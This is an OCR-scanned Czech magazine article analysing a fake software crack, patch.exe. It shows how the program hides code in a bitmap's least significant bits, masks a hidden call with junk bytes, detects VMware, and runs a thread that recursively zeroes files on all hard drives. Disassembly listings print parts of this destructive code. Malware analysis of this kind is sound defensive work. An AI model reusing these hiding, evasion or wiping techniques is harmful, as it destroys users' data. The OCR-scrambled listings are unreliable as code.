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Bartosz Wajcik

a konci zafi 2004 na se diskusnim foru
N pl.comp.programming objevil ¢lanek

na téma Universalni crack do mks-viru.
Obsahoval odkaz na archiv crack.zip s malym
souborem spustitelnym uvnitf. Z reakci uzivate-
10 vyplyvalo, Ze tento program nebyl crackem
— a pravdépodobné obsahoval podezfely kod.
Link do tohoto stejného souboru se také nalezl
v nejméné dalSich péti jinych diskusnich férech
(kde neobsahoval crack, ale napfiklad lustitel
hesel Gadu-Gadu). Zvédavost zpUsobila, Ze
jsme se rozhodli pro analyzu podezielého
souboru.

Takova analyza se sklada ze dvou etap. Nej-
dfive se musime podivat na obecnou strukturu
spoustéciho souboru a obratit pozornost na jeho
seznam datovych zdroju (resources) (viz Rame-
¢ek Datové zdroje v programech pro Windows)
a také nastavit programovaci jazyk, ve kterém
je program napsan. Je tfeba také ovéfit, zda
spoustici soubor byl komprimovan (napfiklad
kompresory FSG, UPX, Aspack). Diky témto
informacim bude znamo, zda je nutné nejdfive
prejit na analyzu kédu, nebo také — kdyby se
ukazalo, Ze je komprimovan — nejdfive rozpa-
kovat soubor. Analyza kédu komprimovanych
soubor(l nema velky smysl.
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Je dobré se zamyslet nad
spusténim nahodného souboru
stazeného ze sité. | kdyz ne
kazdy ma v sobé zabudovana
ohrozeni, je snadné se setkat
se zakefrnym programem
zneuzivajicim nasi naivitu.
Mlzeme za ni hodné zaplatit.
A proto se drive, nez spustime
neznamy program, pokusime
analyzovat jeho funkci.

za samotného podezielého programu a take,
eventuelné, ziskani ze zdanlivé nevinnych da-
tovych zdroja aplikaci skrytého kédu. Dovoluje
nam to dozvédét se, jak funguje program a jaké
jsou dusledky jeho spusténi. Jak se presved-
¢ime, takova analyze je opodstatnéna. Jakoby
crack s urcitosti nepatfi k neSkodnym progra-
mim. Pokud navic Ctenaf narazi kdykoliv na
stejné podezrely soubor, uréité doporucujeme
provedeni podobné analyzy.

Rychlé rozpoznani

V ziskaném archivu crack.zip se nachazel
jeden soubor: patch.exe, ktery mél velikost
necelych 200 KB. Pozor! Viele doporucujeme

Z tohoto ¢lanku se naucite...

+ Jak v systtmu Windows analyzovat neznamy
program.

Mél byste védét...

musi§ znat alespori zaklady programovani
v asembleru a C++.
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Datové zdroje v progra-

mech pro Windows
Datové zdroje v aplikacich pro systémy
Windows jsou Udaje definujici dostup-
né elementy programu pro uZivatele.
Diky nim je rozhrani uZivatele jednolité
a z tohoto dlivodu je zastoupeni jed-
noho z elementl aplikace velmi jed-
noduché. Datové zdroje jsou oddélené
od kédu programu. Uprava samotného
spoustéciho programu je prakticky
nemozna, ovsem modifikace datovych
zdroju (napfiklad vyména pozadi okna)
je bez problém — staéi pouzit jednoho
z vice dostupnych nastroju v siti, napfi-
klad popisovaného eXeScope.

Datové zdroje mohou mit tvar ja-
kéhokoli formatu udaji. Obvykle jsou
to multimedialni soubory (mimo jiné
GIF, JPEG, AVI, WAVE), mohou byt
také osobnimi spousticimi programy,
textovymi soubory nebo dokumenty
HTML a RTF.

zménu rozSifeni tohoto souboru
pred zaCatkem jeho prozkoumavani,
napfiklad na patch.bin. Ochrani nas
to pfed pfipadnym spusténim nezna-
mého programu — dlsledky takové
chyby by mohly byt velmi vazné.

V prvni etapé analyzy musime
poznat strukturu podezfelého sou-
boru. K tomuto cili se dokonale
hodi identifikator spousticich pro-
gramu PEiD. V ném zabudovana
databaze umozniuje popsani jazyka
pouzitého pro vytvofeni aplikaci
a také identifikovani nejpopularnégj-
Sich typu kompresoru a protektor(
spousticich souborl. Je mozné
také pouzit o néco starsi identifi-
kator soubor( FileInfo, ale ten neni
tak dynamicky rozvijen jako PEID
a obdrzZeny vysledek mlze byt mé-
né pfesny.

Jaké informace jsme tedy zis-
kali pomoci PEID? Strukturalné je
patch.exe 32-bitovym spoustécim
souborem ve formatu charakteristic-
kym pro platformu Windows Portable
Executable (PE). Je vidét (viz Obra-
zek 1), Zze program byl napsan pou-
Zitim MS Visual C++ 6.0. Diky PEID
také vime, Zze nebyl zkomprimovan,
ani zabezpecen. Ostatni informa-
ce, jako druh podsystému, offset
souboru nebo takzvany vstupni bod
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Obrazek 3. Procedura WinMain() v disasembleru IDA

www. hakinS.org



(ang. entrypoint) jsou pro nas v této
chvili nepodstatné.

Pokud zname strukturu podezie-
Iého souboru to jesté neni vSechno
— dulezité je rozpoznani datovych
zdroju aplikaci. K tomuto Géelu po-
uzijme program eXeScope, ktery
umozrniuje prohlizeni a editovani
datovych zdrojl ve spoustécich sou-
borech (viz Obrazek 2).

Prohlizenim souboru v editoru
datovych zdrojli narazime pouze na
standardni typy udajd — bitmapu,
jedno dialogové okno, ikonu a také
manifest (okna aplikace pouzivajici
teto datové zdroje v systémech Win-
dows XP nové grafické styly, bez
ni je zbarveni standardni, znamé
grafické rozhrani ze systém Win-
dows 9x). Na prvni pohled se navic
zda, ze soubor patch.exe je uplné
nevinna aplikace. Tento pohled ale
muaze mylit. Abychom se presvéd-
¢ili, musime provést narocnou ana-
lyzu disasemblovaného programu
a — pokud to bude dulezité — nalézt
dodate¢ny, skryty koéd uvnitf sou-
boru.

Analyza kédu

K provedeni analyzy koédu pode-
zfelé aplikace pouzivame vynika-
jici (komeréni) disasembler IDA
firmy DataRescue. IDA se povazuje
obecné za nejlepsi nastroj tohoto
typu — umoznuje obecnou analyzu
pravé vSech druhl spoustécich
souborl. Demonstraéni verze,
dostupna na internetové strance
producenta, umoznuje pouze ana-
lyzu soubord Portable Executable
— ale to nam uplné staci, protoze
patch.exe je vlastné pouze v tomto
formatu.

Procedura WinMain()

Po nahrani souboru patch.exe do de-
kompilatoru IDA (viz Obrazek 3) se
nachazime v procedufe winMain(),
ktera je vstupnim bodem pro aplikace
psané v jazyku C++. V praxi je vstup-
nim bodem kazdé aplikace takzvany
entrypoint, jehoz adresa je zapsana
v hlavi¢ce souboru PE a od kterého
se zacina provadéni kodu aplikace.
Jako v pfipadé programd C++ je kdd
z opravdového vstupniho bodu odpo-

Vypis 1. Procedura WinMain()

.text:00401280 ;  stdcall WinMain(x,x,%,x)

.text:00401280 WinMain@l6 proc near ; CODE XREF: start+C9p
.text:00401280

.text:00401280 hInstance = dword ptr 4

.text:00401280

.text:00401280 mov eax, [espthInstance]
.text:00401284 push 0 ; dwInitParam

.text:00401286 push offset DialogFunc ; IpDialogFunc
.text:0040128B push 0 ; hWndParent

.text:0040128D push 65h ; IpTemplateName
.text:0040128F push eax ; hInstance

.text:00401290 mov dword 405554, eax
.text:00401295 call ds:DialogBoxParamA
.text:00401295 ; Create a model dialog box from a
.text:00401295 ; dialog box template resource
.text:0040129B mov eax, hHandle

.text:004012A0 push INFINITE ; dwMilliseconds
.text:004012A2 push eax ,; hHandle

.text:004012A3 call ds:WaitForSingleObject
.text:004012A9 retn 10h

.text:004012A9 WinMain@l6 endp

WINAPI WinMain (HINSTANCE hInstance,
LPSTR 1lpCmdLine, int nShowCmd)

// zobrazil dialogové okno

NULL,
// ukonéi program teprve tehdy, ,

DialogFunc, 0);

Vypis 2. Procedura WinMain() pfeloZzena do jazyka C++

HINSTANCE hPrevInstance,

DialogBoxParam(hInstance, IDENTIFIKATOR OKNA ,

// pokud bude uvolnén handler hHandle
return WaitForSingleObject (hHandle,

INFINITE) ;

Vypis 3. Fragment kédu odpovédného za zapis do proménné

hHandle, eax ; nastaveni handleru

.text:004010F7 mowv edx, offset lpRozhrani
.text:004010FC mov eax, lpIndexKodu
.text:00401101 Jjmp short loc 401104 ; tajemny
.text:00401103 db 0B8h ,; odpad, tzv.
.text:00401104 loc 401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; tajemny
.text:00401106 db 0 ,; odpad

.text:00401107 db 0 ; jako vyse

.text:00401108 mov

.text:0040110D pop edi

.text:0040110E mov eax, 1

.text:00401113 pop esi

.text:00401114 retn

"call"

"Sunk"

"call"

védny pouze za inicializaci vnitfnich
proménnych — programator na néj
nema vliv. Nas zase zajima pouze
to, co bylo napsano programatorem.
Procedura winmMain() je zobrazena
na Vypisu 1.

Takovy tvar kédu muze byt pro
analyzu tézky — pro zjednuduSeni
jeho srozumitelnosti, pfelozime ho
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do jazyku C++. Z kazdého dead-
listingu (disasemblovaného kédu)
je mozné, z vétsSimi & mensimi
komplikacemi, zrekonstruovat kéd
v programovacim jazyku, ve kte-
rém byl originalné napsan. Takové
nastroje jako IDA sta¢i pouze na
zakladni informace — nazvy funk-
ci, nazvy proménnych a konstant,
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konvence provadéni funkce (jako
stdcall nebo cdecl). Ackoli existuji
specialni pluginy pro IDA umoznu-
jici jednoduchou dekompilaci kédu
x86, tak vysledek jejich €innosti
neni az tak uspokojujici.

Pro vykonani takové translace
je dobré proanalyzovat strukturu
funkce, vybrat lokdlni proménné
a nakonec nalézt v kédu odvolavky
na globalni proménné. Informace
ziskané pomoci IDA postaci k potvr-
zeni, jaké parametry (a kolik) pfijima
analyzovana funkce. Dodate¢né se
diky disasembleru dozvime, jaké
hodnoty vraci dana funkce, jaké
procedury WinApi pouziva a také
na jaké udaje se odvolava. NaSim
pocate€nim zadanim je definovani
typu funkce, konvence jejiho vyvo-
lani a typG parametrd. Nasledng,
pouzivanim udaja z IDA, definujeme
proménné lokalni funkce.

Pokud bude vytvofen obecny
tvar funkci, je mozné se zabyvat
vytvofenim koédu. Prvnim krokem
je obnova volani jinych funkci
(WinApi, ale ne pouze, protoze
také volani do vnitinich funkci
programu) — napfiklad pro funkci
WinApi analyzujeme posledni za-
pamatované parametry, které jsou
zapisovany pouzivanim pfrikazu
push v opacném poradi (od po-
sledniho parametru do prvniho),
nez nasleduje jejich zapis ve vy-
volani funkce v originalnim kédu.
Po shromazdéni informaci o vSech
parametrech je mozné vytvorit
elementem rekonstrukce kodu pro-
gramu (v jazyku vysoké urovng) je
obnoveni logiky fungovani — u¢inné
rozpoznani logickych operator( (or,
xor, not) @ aritmetickych (dodavani,
odebirani, mnozeni, déleni) a take
podminkovych instrukci, (if, else,
switch) nebo kone€né smycky (tor,
while, do). Teprve vSechny tyto
informace sebrané v jeden celek
dovoluji pfelozit kod asembleru na
jazyk uzity k vytvoreni aplikace.

Z toho vyplyva, ze pfeklad kédu
na jazyk vysoké urovné vyzaduje
lidskou praci a také zkuSenosti ve
zkoumani kodu a programovani.
Nastésti preklad neni podstatny
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xrefs to hHandle M=l E3
Direction Type | Addiess Ingtiuction
] et 00401708 mov  hHandle, eax
lylUp I Winbd ains.=.5.5]+1B moy  eas, hHandle
1 | i3
0k I Cancel Help | Search |
|Line 1 af 2 o

Obrazek 4. Okno referenci v programu IDA

pro nasi analyzu, pouze ji usnadfiu-
je. PfeloZenou proceduru winmain ()
na C++ je mozné nalézt na Vypi-
su 2.

Jak vidime, v programu je nejdfive
vyvolana procedura pialogBoxParam (),
zobrazujici dialogové okno. Jeho
identifikator popisuje okno zapsané
v datovych zdrojich spoustéciho
souboru. Nasledné je vyvolana pro-
cedura waitForSingleObject() @ pro-
gram ukoncuje €innost. Z tohoto kédu
je mozné provést zavér, ze program
zobrazuje dialogové okno, nasledné
pro jeho zamceni (kdy uz nebude
viditelné) ¢eka tak dlouho, dokud
nebude signalizovany stav pro objekt
hiandle. Jednoduse fe€eno: program
neukon¢i ¢innost, pokud se neukondi
provadéni jiného kédu, iniciovaného
dfive pfes winmain(). NejCastéji timto

zplsobem se ¢eka na ukonceni pra-
ce spusténého kodu v jiném vilaknu
(ang. thread).

Co takovy jednoduchy program
muze chtit provést po zamceni
hlavniho okna? Nejpravdépodob-
néji cosi Spatného. Je tfeba navic
najit v kédu misto, ve kterém je
nastaven handler nuandie — je brzy
odecitan, tak musi byt dfive nékam
zapsan. Abychom to provedli v di-
sasembleru /DA, je nutné kliknout
na nazev promeénneé huandle. Timto
zpUsobem se nalezneme v misté
jeho polohy v sekci udaju (handler
n#andle je jednoduSe 32-bitova
hodnota typu DWORD):

.data:004056E4 ; HANDLE hHandle
.data:004056E4 hHandle
dd 0

.00401101:
.00401103: B8FFD00000 mov
.00401108: A3E4564000 mov [004056E4
.0040110D: 5SF pop edi

.0040110E: B801000000 mov
.00401113: 5E pop esi
.00401114: C3

EBO1

retn

Vypis 4. Kéd odpovédny za zapis do proménné v editoru Hiew
jmps .000401104
eax, 00000DOFF

,eax ; nastaveni handleru

eax, 000000001

; skok do stredu instrukci

; skrytd instrukce

Vypis 5. Proménna IpIndexKodu

.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov

.text:0040107D

.text:00401083 mov
.text:00401089 mov
.text:0040108B mov
.text:0040108D xor
.text:0040108F shr
.text:00401092 mov
.text:00401092

edi, eax
edx, ecx
eax, eax

ecx, 2

dwRozmerBitmapy, ecx ; zapi$ rozmér bitmapy
.text:0040107D call ds:VirtualAlloc ; alokuj pamét, adresu zaalokovaného

; bloku, ktery se nachdzi v registru eax
ecx, dwRozmerBitmapy

; edi = adresa zaalokované paméti

lpIndexKodu, edi ; zapi$ adresu zaalokované paméti

; do proménné lpIndexKodu
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Vypis 6. Fragment kédu odpovédny za ziskani udaju z bitmapy

.text:004010BE dalsi bajt: ; CODE XREF: .text:004010F4j
.text:004010BE mov
.text:004010C4 =xor ecx, ecx

.text:004010C6 jmp short loc 4010CE
.text:004010C8 dalsi bit: ; CODE XREF: .text:004010E9]

edi, lpIndexKodu

.text:004010C8 mov edi, lpIndexKodu

.text:004010CE loc 4010CE: ; CODE XREF: .text:004010BCj

.text:004010CE ; .text:004010C67

.text:004010CE mov edx, lpIndexBitmapy

.text:004010D4 mov bl, [editeax] ; “posklddany” bajt kodu
.text:004010D7 mov dl, [edxtesi] ; dal$i bajt zdkladnich barev RGB
.text:004010DA and dl, 1 ; maskuj nejméné vyznamny bit zdkladnich barev
.text:004010DD shl dl, cl ; bit zdkladni RGB << i++
.text:004010DF or bl, dl ; sloZ ze zdkladnich barev jeden bajt
.text:004010E1 inc esi

.text:004010E2 inc ecx

.text:004010E3 mov editeax], bl ; zapis bajt kodu

.text:004010E6 cmp ecx, 8 ; pocitadlo 8 bitd (8 bitu = 1 bajt)
.text:004010E9 jb short dalsi bit

.text:004010EB mov ecx, dwRozmerBitmapy

.text:004010F1 inc eax

.text:004010F2 cmp esi, ecx

.text:004010F4 iJb short dalsi bajt

.text:004010F6 pop ebx

.text:004010F7

.text:004010F7 loc 4010F7: ; CODE XREF: .text:004010B7j
.text:004010F7 mov
.text:004010FC mov
.text:00401101 Jmp short loc 401104 ; tajemny
.text:00401103 db 0B8h ; odpad, tzv. "junk"
.text:00401104 loc 401104: ; CODE XREF: .text:00401101j
.text:00401104 "call"

edx, offset lpRozhrani
eax, lpIndexKodu
"call"

call eax ; tajemny

Vypis 7. Kod vypocitavajici rozmér bitmapy

.text:0040105B ; v registru EAX se nachdzi index
.text:0040105B ; na pocdtek udaji bitmapy

.text:0040105B mov ecx, leax+8] ; vySka bitmapy
.text:0040105E push 40h

.text:00401060 imul ecx, |eax+d] ; Sirka * vysSka = velikost
.text:00401060 ; bajtu popisujicich pixely
.text:00401064 push 3000h

.text:00401069 add eax, 40 ; rozmér hlavicky bitmapy
.text:0040106C lea
.text:0040106C

.text:0040106C

.text:0040106F mov
.text:0040106F
.text:00401074
.text:00401075 push 0
.text:00401077 mov

ecx, lecxtecx*2] ; kazdy pixel popisuje 3 bajty
; navic vysledek Sirka * vyska je nutné
; ndsobit jesté trikrat (RGB)

lpIndexBitmapy , eax

; zapi§ index do udaju dalsich pixelu

push ecx

dwRozmerBitmapy, ecx ; zapi$ rozmér bitmapy

Zahadné reference

Podivejme se na referenci handle-
ru hiandle. Jednim z téch mist je
jiz dfive predstavena procedura

; DATA XREF: .text:00401108w
.data:004056E4

; WinMain (x,x,x,x)+1Br

Na pravé strané od nazvu proménné
se nachazi takzvané reference (viz
Obrazek 4) — informace o mistech
v kédu, ze kterych je proménna ode-
¢itana nebo modifikovana.

winMain (), ve které je proménnaode-
¢itana (fika nam o tom pismeno
od anglického read). Vice hodna
uvahy je druha reference (na listé
se nachazi jako prvni), jejiz popis
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fika, Ze proménnd naandle je v tom
misté odpovédna za zapis do pro-
ménné (pismeno w od anglického
write). Tento fragment je predsta-
ven na Vypisu 3.

Kratké vyjasnéni tohoto kédu:
nejdfive do registru eax je nacitan
index do prostoru, ve kterém se na-
chazi kaéd (mov eax, lpIndexKodu)
Nasledné je proveden skok do
instrukce vyvolavajici procedury
(jmp short loc 401104). Pokud tato
procedura byla jiz vyvolana, v re-
gistru eax se nachazi hodnota han-
dleru (obvykle vSechny procedury
vraci hodnoty a kody chyb viastné
v tomto registru procesoru), ktera
nasledné bude zapsana do pro-
MEénné hHandle.

Ten, kdo zna dobfe asembler, si
urcité vSimne, Ze tento fragment koé-
du vypada podeziele (nestandardni
v porovnani k obvyklému zkompilo-
vanému kédu C++). Deasembler IDA
nedovoluje skryvani nebo pfemaza-
vani instrukci. Pouzijme navic Sest-
nactkoveého editoru Hiew, abychom si
jesté jednou prohlédli ten samy kod
(Vypis 4).

Neni tu vidét instrukce ca11l eax,
kdyz jeji opcody (operacni kody
instrukce) byly vestavény ve stfedu
instrukce mov eax, 0xporr. Teprve po
pfemazani prvniho bajtu instrukce
mov uvidime, jaky kod bude opravdu
proveden:

.00401101: EBO1

jmps .000401104

; skok do stfedu instrukci
.00401103: 90

nop

; zamazany 1 bajt instrukci "mov"
.00401104: FFDO

call eax

; skryta instrukce

Vratme se ke kodu vyvolaného in-
strukci ca11 eax. Bylo by dobré se
dozvédét, kam sméruje adresa za-
psana v registru cax. Nad instrukci
call eax Se nachazi instrukce,
ktera do registru eax vpisuje hod-
notu proménné 1pindexkodu (Nazev
proménné je mozné v /DA libovolné
zménit, abychom snadnéni poro-
zuméli kédu — postaci na ni najet
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kursorem, stisknout klavesu N
a zapsat novy nazev). Abychom se
dozvédéli, co bylo zapsano do této
proménné, znovu si pomuzeme re-
ferencemi:

.data:004056E8

lpIndexKodu dd 0
; DATA XREF: .text:00401092w
.data:004056E8

; .text:004010Alr
.data:004056E8

; .text:004010BEr
.data:004056E8

; .text:004010C8r
.data:004056E8

; .text:004010FCr

Promé&nna 1pindexkodu je implicitné
nastavena na 0 a pfijima jinou hod-
notu pouze v jednom misté kodu.
Kliknutim na referenci zapisu do pro-
ménné se nalezneme v kodu pred-
staveném na Vypisu 5. Jak je vidét,
proménna 1pindexKodu ja nastavena
na adresu paméti alokované funkci
VirtualAlloc ().

Zustava nam provéfit, co se skry-
va v tom zahadném fragmentu koédu.

Podeziela bitmapa

Prohlizenim dfivéjSich fragmentu
deadlistingu je mozné si vSimnout,
e z datovych zdroji souboru pa-
tch.exe je nahravana jeho jedina
bitmapa. Nasledné ze zakladnich
barev RGB nasledujicich pixeld jsou
skladany bajty ukrytého kédu, ktera
jsou nasledné zapisovany do dfive
alokované paméti (jejiz adresa je
zapsana v promeénné 1pIndexKodu).
Klicovy fragment kodu, odpovédny
za ziskani udajt z bitmapy, je pred-
staven na Vypisu 6.

V kddu na Vypisu 6 je mozné roz-
liSit dvé smycky. Jedna z nich (vnitf-
ni) odpovida za ziskavani dalSich
bajtd tvoficich zakladni barvy RGB
(Red — Cervenou, Green — zelenou,
Blue — modrou) pixely bitmapy. Bit-
mapa v nasem pfipadé je zapsana
ve formatu 24bpp (24 bitd na pixel),
navic kazdy pixel je popsan tfemi
bajty barvy, ulozenymi jeden za dru-
hym, ve formatu RGB.

Z nasledujicich osmi ziskanych
bajtd jsou maskovany nejméné vy-
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Vypis 8. Kéd ziskavajici udaje z bitmapy preloZeny do jazyka C++

unsigned int 1 = 0, j = 0, k;
unsigned int dwRozmerBitmapy;
// spolitej kolik bajtu zabiraji vsSechny pixely v souboru bitmapy
dwRozmerBitmapy = sirka bitmapy * vyska bitmapy * 3;
while (i < dwRozmerBitmapy) f{
// posklddej 8 bitl zdkladnich barev RGB do 1 bajtu kodu
for (k = 0; k < 8; kt++) |

lpIndexKodu[j] |= (lpIndexBitmapy[i++] & 1) << k;

// dal3i bajt kodu
Jj++;

Vypis 9. Struktura rozhrani

00000000 rozhrani
00000000 hKernel32 dd ?
00000004 hUser32 dd ?
00000008 GetProcAddress dd ?
0000000C CreateThread dd ?
00000010 bIsWindowsNT dd ?
00000014 CreateFileA dd ?
00000018 GetDriveTypeA dd ?
0000001C SetEndOfFile dd ?
00000020 SetFilePointer dd ?
00000024 CloseHandle dd ?
00000028 SetFileAttributesA dd ?
0000002C SetCurrentDirectoryA dd °?
00000030 FindFirstFileA dd ?
00000034 FindNextFileA dd ?

(sizeof=0X48)
; handler knihovny kernel32.dll
; handler knihovny user32.dll

struc ;

; adresy procedur WinApi

00000038 FindClose dd ?
0000003C Sleep dd ?
00000040 MessageBoxA dd ?
00000044 stFindData dd ? ; WIN32 FIND DATA

00000048 rozhrani ends

Vypis 10. Spusténi dodate¢ného vidkna pomoci hlavniho programu

; na zacdtku provddéni tohoto kodu v registru eax se nachdzi
; adresa kodu, v registru edx se nachdzi adresa struktury

; zajistujici pristup k funkci WinApi (rozhrani)

skryty kod:
; eax + 16 = zacatek kodu, ktery bude spustén ve vldknu
lea ecx, kod_provadeny ve_vlaknu [eax]
push eax
push esp
push 0
push edx ; parametr pro proceduru vldkna

; adresa struktury rozhrani

push ecx ; adresa procedury pro spusténi ve vldknu
push 0
push 0

call [edx+rozhrani.CreateThread] ,; spuSt kod ve vldknu

loc_10:

pop ecx

sub dword ptr [esp], -2

retn

znamné bity (instrukce ana 41, 1),
které jsou poskladany v celek a tvofi
jeden bajt kédu. Pokud tento baijt

bude slozen, bude zapsan do vyrov-
navaci pameéti 1pindexkodu. Poté je
ve vnitfni smy¢ce navysovan index
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Vypis 11. Dodatecné vldakno — provedeni skrytého kédu

kod provadeny ve vlaknu:

; DATA XREF: seg000:00000000r

push ebp

mov ebp, esp

push esi

push edi

push ebx

mov ebx, [ebp+8] ; offset rozhrani s

; adresami funkce WinApi

; pod WindowsNT neprovddéj instrukci

zpisobilo by to zmrznuti aplikace

cmp ebx+rozhrani.bIsWindowsNT

jz short neprovade]j

"in

"

1

odhalovani virtudlniho poc¢itace Vmware, pokud je odhaleno,

Ze program pracuje pod emuldtorem, kod ukoncuje fungovdni

mov ecx, 0Ah
mov eax, 'VMXh'
mov dx, 'vx'
in eax, dx
cmp ebx, 'VMXh' ; odhalovdni Vmware
jz loc_1DB
neprovadej: ; CODE XREF: seg000:000000237

mov ebx, [ebp+8] ; offset rozhrani s adresami funkce WinApi
call loc_54
aCreatefilea db 'CreateFileA',0
loc_54: ; CODE XREF: seg000:00000043p
push ebx+rozhrani.hKernel32]
call [ebx+rozhrani.GetProcAddress| ,; adresy procedur WinApi
mov [ebx+rozhrani.CreateFileA], eax
call loc_6E
aSetendoffile db 'SetEndOfFile',0
loc_6E: ; CODE XREF: seg000:0000005Cp
push ebx+rozhrani.hKernel32]
call [ebx+rozhrani.GetProcAddress| ,; adresy procedur WinApi
mov [ebx+rozhrani.SetEndOfFile], eax
call loc 161

aSetfileattribu db 'SetFileAttributesA',0

loc_161: ; CODE XREF: seg000:00000149 p
push [ebx+rozhrani.hKernel32]
call [ebx+trozhrani.GetProcAddress| ,; adresy procedur WinApi
mov ebx+rozhrani.SetFileAttributesA], eax
lea edi, [ebx+rozhrani.stFindData] ; WIN32 FIND DATA
call skenuj disky ; skenovdni stanice disku
sub eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
retn 4 ; tady kon¢i &innost vldkna

pro ukazatel 1pindexkodu tak, aby
ukazoval na misto, kam bude mozné
umistit dalSi bajt kddu — po ¢emz se
vraci ke sbirani dalSich osmi zaklad-
nich bajtt barev.

Vnitfni smycka se provadi tak
dlouho, az ze vSech pixelu bitmapy
zUstanou ziskany potfebné baijty
skrytého kodu. Pocet opakovani
smycek je roven poctu pixeld bitma-
py, ziskané bezprostfedné z jeji hla-

vicky a konkrétné z takovych udajl
jako Sitka a vyska (v pixelech) —to je
vidét na Vypisu 7.

Po nacteni bitmapy z datovych
zdrojl spoustéciho souboru v registru
eax se nachazi adresa pocatku bitma-
py, ktera popisuje jeji hlavicku. Z hla-
vi€ky jsou ziskavany rozméry bitmapy,
nasledné Sifka nasobena pres vySku
bitmapy (v pixelech), coz ve vysledku
nam poskytne celkovy pocet pixell
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bitmapy. Sou€asné s tim, Zze kazdy
pixel je popsan tfemi bajty, vysledek
je dodatec¢né tolikrat nasoben. Obdr-
Zujeme timto zpasobem finalni rozmér
Gdaja popisujicich vSechny pixely. Pro
lepSi srozumitelnost, kod ziskavajici
udaje z bitmapy je pfelozen do C++
a predstavujeme ho na Vypisu 8.

NasSe hledani bylo ukon&eno
uspéchem — jiz vime, kde je ukryt
podezfely kod. Skryté udaje byly
zapsany na pozicich nejméné vy-
znamnych bitll naslednych zaklad-
nich RGB pixela. Pro lidské oko
je timto zplsobem zmodifikovana
bitmapa prakticky k nerozeznani od
originalni — rozdily jsou velmi jemné,
dodate¢né bychom museli mit prvot-
ni obrazek.

Kdosi, kdo si dal tu praci, aby
ukryl maly kousek kédu, s urcitosti
nemeél Cisté zameéry. Pfed nami je
dalsi nelehké zadani — ukryty kod
je tfeba ziskat z bitmapy a nasledné
prozkoumat jeho obsah.

Metoda ziskani kédu

Samotné izolovani skrytého kédu
neni komplikované — je mozné jed-
noduSe spustit podeziely soubor
patch.exe a pomoci debuggeru
(napfiklad Softlce nebo OllyDbg),
vyhodit jiz vytvofeny kod z paméti.
LepSi je neriskovat — nevime, jaké
disledky muzZe prFinést pripadné
spusténi programu.

Béhem této analyzy jsme pou-
zivali vlastnoruéné napsany jedno-
duchy program, ktery bez spusténi
aplikace ziskava z bitmapy skryty
kdd (soubor decoder.exe autora Bar-
tosza Wojcika, souCasné se zdro-
jovym kédem a jiz vyextrahovanym
skrytym kodem se nachazi na Ha-
kin9 Live). Program decoder.exe
pouziva dfive popsaného algoritmu
pouzitého v originalnim programu
patch.exe.

Skryty kod
Cas na analyzu ziskaného skrytého
kddu. Celek (bez komentafe) ma ve-
likost necelého kilobajtu, je mozné ho
nalézt na pfilozeném k ¢asopisu CD
Hakin9 Live. Tady mluvime o obecné
zasadé fungovani kodu a také jeho
nejvice zajimave fragmenty.
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Aby zkoumany kéd mohl fun-
govat, musi mit pfistup k funkcim
systému Windows (WinApi). V tom
pfipadé pfistup k funkcim WinApi je
realizovan pomoci specialni struk-
tury roznrani (viz Vypis 9), jejiz
adresa je pfedavana v registru edx
do skrytého kodu. Tato struktura
je zapsana v sekci udaji hlavniho
programu.

Pfed spusténim skrytého kodu
jsou nejdfive nahrany systémovée
knihovny kernel32.dll i user32.dll.
Jejich handlery budou zapsany do
struktury rozhrani. Nasledné jsou
ve struktufe zapsany adresy funkce
GetProcAddress() @ CreateThread(
a také index popisujici, zda pro-
gram byl spustén pod systémem
Windows NT/XP. Handlery systémo-
vych knihoven a pfistup do funkce
GetProcAddress() V praxi umoznuji
ziskani adresy libovolné procedury
a kazdé knihovny, nejenom systé-
move.

Hlavni vlakno

Funkce skrytého kédu zacina
spusténim programu dodatecného
vlakna vyuzitim adresy procedury
CreateThread(), dfive zapsané ve
struktufe rozhrani. Po  vyvolani
CreateThread(), bude v registru eax
bude handler nové vytvofeného
vldkna (0 v pfipadé chyby), ktery po
navratu do hlavniho kédu programu
je zapsan v proménné hixandle (Viz
Vypis 10).

Podivejme se na Vypisu 11,
ukazujici vlakno odpovédné za pro-
vedeni skrytého koédu. Do proce-
dury spusténé ve vlakné je pfedan
jeden parametr — v tomto pfipadé
adresa struktury rozhrani. Tato
procedura ovéfuje, zda byl program
spustén v prostiedi Windows NT.
To se provadi proto, zZe procedura
chytfe zkousi najit eventuelni exis-
tenci virtualniho pocitate Vmware
(pokud ho najde, ukon&i &innost),
pouzivanim instrukce asembleru in
za timto u¢elem. Tato instrukce ma-
Ze slouzit k odecéitani udaju z portl
I1/O — v naSem pfipadé odpovida za
vnitFni  komunikaci s programem
Vmware. Jeji provadéni v systému
z rodiny Windows NT, narozdil od
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Vypis 12. Procedura skanujici systém pro vyhledavani diskt

skenuj_disky proc near ; CODE XREF: seg000:0000016Cp
var_28 = byte ptr -28h
pusha
push '\:Y' ; skenovdni disku zacind od disku Y:\
dalsi_disk: ; CODE XREF: skenuj disky+20j
push esp ; adresa ndzvu disku pri pouZiti (Y:\, X:\, W:\ atd.)

call [ebxtrozhrani.GetDriveTypeA] ; GetDriveTypeA
sub eax, 3

cmp eax, 1

ja short cdrom_atd; dal$i pismeno pevného disku
mov edx, esp

call vymaz_soubory

; CODE XREF: skenuj disky+10j

dec byte ptr [esp+0] ; dalsi pismeno pevného disku
cmp byte ptr [esp+0], 'C' ; ovér, zda doSlo na disku C:\
jnb short dalsi_disk; opaku skenovdani dalsiho disku
pop ecx

popa

retn

skenuj_disky endp

Vypis 13. Procedura vyhledavajici soubory v oddilu

vymaz_soubory proc near ; CODE XREF: skenuj disky+14p, vymaZ soubory+28p

pusha

push edx

call [ebxtrozhrani.SetCurrentDirectoryA]
push '*' ; maska hledanych soubori
mov eax, esp

push edi

push eax

call [ebx+rozhrani.FindFirstFileA]
pop ecx

mov esi, eax

inc eax

jz short nema_vice_souboru

nalezen soubor:; CODE XREF: vymaz soubory+39j
test byte ptr [edi], 16 ; je to adresar?

jnz short nalezen katalog

call nuluj_velkost rozmer_souboru

jmp short hledej dalsi soubor
nalezen adresar: ; CODE XREF: vymaz soubory+17j

lea edx, [edi+2Ch]

cmp byte ptr [edx], '.'

jz short hledej dalsi soubor

call vymaz_soubory ; rekursivni skenovdni katalogi
hledej dalsi soubor: ; CODE XREF: vymaz soubory+1lEj, vymaz soubory+26j

push 5

call [ebxtrozhrani.Sleep]

push edi

push esi

call [ebx+rozhrani.FindNextFileA]

test eax, eax

jnz short nalezen soubor; je to adresdr?

